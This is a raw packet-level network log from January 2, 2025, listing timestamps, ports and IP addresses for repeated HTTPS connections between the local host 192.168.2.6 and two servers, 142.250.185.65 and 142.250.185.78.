Jan 2, 2025 20:28:46.813868999 CET	50068	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.813874006 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.814163923 CET	50068	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.814168930 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.835330009 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:46.961608887 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.961873055 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.962718964 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.962728024 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:46.962958097 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:46.962964058 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.115643978 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.115798950 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.115825891 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.115894079 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.115927935 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.115979910 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.115983009 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.116025925 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.116034985 CET	443	50066	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.116044998 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.116075039 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.116087914 CET	50066	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.116909981 CET	50078	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.116938114 CET	443	50078	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.117017984 CET	50078	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.117521048 CET	50078	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.117532969 CET	443	50078	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.178652048 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.178730965 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.178894043 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.179195881 CET	50067	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.179212093 CET	443	50067	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.179811954 CET	50080	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.179863930 CET	443	50080	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.179927111 CET	50080	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.180154085 CET	50080	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.180167913 CET	443	50080	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.400666952 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.400724888 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.400796890 CET	50068	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.400836945 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.400851965 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.400895119 CET	50068	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.401609898 CET	50068	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.401623964 CET	443	50068	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.402587891 CET	50082	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.402630091 CET	443	50082	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.403182983 CET	50082	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.403829098 CET	50082	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.403842926 CET	443	50082	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.419084072 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.419147968 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.419234991 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.419248104 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.419394970 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.419450998 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.419502020 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.419548035 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.419867992 CET	50070	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.419878006 CET	443	50070	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.420610905 CET	50083	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.420655012 CET	443	50083	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.420711994 CET	50083	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.422265053 CET	50083	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:47.422281981 CET	443	50083	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:47.825117111 CET	443	50078	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.825227976 CET	50078	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.825758934 CET	50078	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.825771093 CET	443	50078	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.826001883 CET	50078	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.826009035 CET	443	50078	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.923605919 CET	443	50080	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.923680067 CET	50080	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.924190044 CET	50080	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.924196005 CET	443	50080	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:47.924401045 CET	50080	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:47.924406052 CET	443	50080	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.009030104 CET	50082	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:48.009084940 CET	50083	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:48.009105921 CET	50078	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.009133101 CET	50080	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.009686947 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.009737968 CET	443	50088	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.011121988 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.011161089 CET	443	50089	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.011214972 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.011280060 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.012042046 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.012058973 CET	443	50088	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.012180090 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.012192011 CET	443	50089	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.675457001 CET	443	50089	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.675527096 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.676040888 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.676045895 CET	443	50089	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.678266048 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.678272009 CET	443	50089	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.680044889 CET	443	50088	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.680105925 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.680444002 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.680465937 CET	443	50088	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:48.680584908 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:48.680589914 CET	443	50088	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.085146904 CET	443	50088	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.085345984 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.085552931 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.085588932 CET	443	50088	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.085652113 CET	50088	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.086267948 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.086309910 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.086350918 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.086378098 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.086380959 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.086550951 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.086643934 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.086654902 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.086658955 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.086678028 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.086863995 CET	443	50089	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.086926937 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.086941004 CET	443	50089	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.087035894 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.087035894 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.087071896 CET	443	50089	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.087129116 CET	50089	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.087425947 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.087440968 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.087501049 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.087519884 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.087527990 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.087573051 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.087658882 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.087671041 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.087806940 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.087830067 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.730755091 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.730833054 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.731544018 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.731590033 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.735788107 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.735879898 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.737334967 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.737345934 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.737668991 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.737723112 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.738049984 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.738120079 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.741347075 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.741354942 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.741592884 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.741647005 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.741822958 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.742477894 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.743817091 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.743834019 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.744076014 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.744131088 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.744462967 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:49.749820948 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.749891043 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.750591993 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.750677109 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.755057096 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.755062103 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.755301952 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.755489111 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.755950928 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:49.787322998 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.787322998 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:49.791326046 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:49.803335905 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.112387896 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.113255978 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.113313913 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.113357067 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.113364935 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.113421917 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.119441032 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.119461060 CET	443	50101	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.119472980 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.120115995 CET	50101	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.129045963 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.129098892 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.130214930 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.157047033 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.157320023 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.157371998 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.157391071 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.157407045 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.157427073 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.157439947 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.157490969 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.157541990 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.157799006 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.157845974 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.157851934 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.157891035 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.176129103 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.176182032 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.187957048 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.187969923 CET	443	50099	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.187979937 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.188102007 CET	50099	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.188682079 CET	50112	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.188724041 CET	443	50112	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.188785076 CET	50112	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.189727068 CET	50102	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.189747095 CET	443	50102	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.191525936 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.191535950 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.191956043 CET	50112	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.191968918 CET	443	50112	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.191982985 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.215523005 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.215539932 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.311626911 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.311686039 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.311693907 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.311706066 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.311727047 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.311779022 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.311783075 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.311808109 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.311851978 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.312603951 CET	50100	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.312618017 CET	443	50100	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.313124895 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.313154936 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.313239098 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.313445091 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.313457966 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.804938078 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.805062056 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.805756092 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.805762053 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.808226109 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.808233023 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.820772886 CET	443	50112	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.820924044 CET	50112	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.821489096 CET	50112	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.821494102 CET	443	50112	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.821717978 CET	50112	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:50.821722984 CET	443	50112	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:50.860513926 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.860790014 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.861408949 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.861417055 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.861819983 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.861825943 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.961977005 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.962049007 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.962603092 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.962615013 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:50.962810993 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:50.962815046 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.189870119 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.189990044 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.190027952 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.190088987 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.190679073 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.190720081 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.190783978 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.191147089 CET	50111	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.191164017 CET	443	50111	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.191759109 CET	50123	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.191807985 CET	443	50123	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.194149017 CET	50123	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.194474936 CET	50123	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.194489956 CET	443	50123	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.197575092 CET	443	50112	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.199615955 CET	443	50112	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.199727058 CET	50112	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.199883938 CET	50112	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.199899912 CET	443	50112	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.200282097 CET	50124	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.200321913 CET	443	50124	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.203037977 CET	50124	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.203267097 CET	50124	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.203289032 CET	443	50124	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.284631968 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.284682989 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.284796953 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.284831047 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.285125971 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.285211086 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.285696983 CET	50113	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.285712957 CET	443	50113	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.286250114 CET	50125	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.286292076 CET	443	50125	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.286462069 CET	50125	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.286650896 CET	50125	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.286668062 CET	443	50125	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.437743902 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.437796116 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.437856913 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.437882900 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.437907934 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.437953949 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.438808918 CET	50116	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.438823938 CET	443	50116	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.439783096 CET	50127	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.439815044 CET	443	50127	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.440279961 CET	50127	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.440617085 CET	50127	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.440632105 CET	443	50127	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.854903936 CET	443	50124	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.857088089 CET	50124	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.857589006 CET	50124	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.857595921 CET	443	50124	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.857736111 CET	50124	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.857741117 CET	443	50124	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.863492012 CET	443	50123	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.866100073 CET	50123	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.866641998 CET	50123	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.866657972 CET	443	50123	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.866871119 CET	50123	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:51.866878986 CET	443	50123	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:51.941226959 CET	443	50125	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.941318035 CET	50125	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.941824913 CET	50125	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.941831112 CET	443	50125	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:51.943732023 CET	50125	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:51.943737984 CET	443	50125	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:52.009237051 CET	50127	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:52.009334087 CET	50124	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:52.009473085 CET	50123	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:52.009515047 CET	50125	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:52.012479067 CET	50132	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:52.012512922 CET	443	50132	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:52.012618065 CET	50132	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:52.013273954 CET	50133	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:52.013303995 CET	443	50133	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:52.013384104 CET	50132	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:52.013387918 CET	50133	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:52.013395071 CET	443	50132	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:52.013570070 CET	50133	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:52.013587952 CET	443	50133	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:52.649787903 CET	443	50132	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:52.649909973 CET	50132	443	192.168.2.6	142.250.185.78
